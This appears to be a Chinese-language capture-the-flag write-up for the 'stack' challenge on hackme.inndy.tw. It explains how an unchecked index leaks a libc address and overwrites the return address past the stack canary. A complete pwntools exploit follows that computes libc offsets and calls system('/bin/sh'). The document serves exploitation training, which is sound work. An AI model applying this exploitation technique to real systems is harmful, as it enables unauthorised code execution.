![](https://img.haomeiwen.com/i5808046/6179be2a126ab7a2.png)
![](https://img.haomeiwen.com/i5808046/37723abb6c461fc5.png)
一看开了全保护的程序,没有后门,再一看名字stack,可能就是模拟对栈操作的一个程序,通过调试可以知道由于没有对下标进行检查,所以可以对下标进行修改从而泄漏libc地址,达到跳过canary越界修改ret地址
![](https://img.haomeiwen.com/i5808046/6318da4a7111e655.png)
![](https://img.haomeiwen.com/i5808046/a0db0047093c8520.png)
先pop再push('93')修改index为96,然后再pop泄漏__libc_start_main_ret的地址,最后再push(system) + push(1) + push(binsh_addr) 来执行system('/bin/sh')
注意这里ret的地址不是当前的ebp+4而是ecx-4
![](https://img.haomeiwen.com/i5808046/cbd92cb0fc8c1584.png)
最后我们传入的地址要转换成int32的类型,否则会溢出
完整exp:
from pwn import *
p = process('./stack',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
#p = remote('hackme.inndy.tw',7716)
def pop():
p.sendlineafter('Cmd >>\n','p')
def clear():
p.sendlineafter('Cmd >>\n','c')
def push(val):
p.sendlineafter('Cmd >>\n','i '+str(val))
#gdb.attach(p)
pop()
push(93)
pop()
p.recvuntil(' -> ')
data = p.recvuntil('\n',drop = True)
__libc_start_main_ret = 0xffffffff - int(data[1:]) + 1
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
offset_str_bin_sh = 0x15ba3f
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
log.success('libc base addr : 0x%x' %libc_base)
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
log.success('system addr : 0x%x' %system_addr)
log.success('binsh addr : 0x%x' %binsh_addr)
gdb.attach(p)
push(system_addr - 0xffffffff -1)
push('1')
push(binsh_addr - 0xffffffff -1)
p.sendline('x')
p.interactive()
网友评论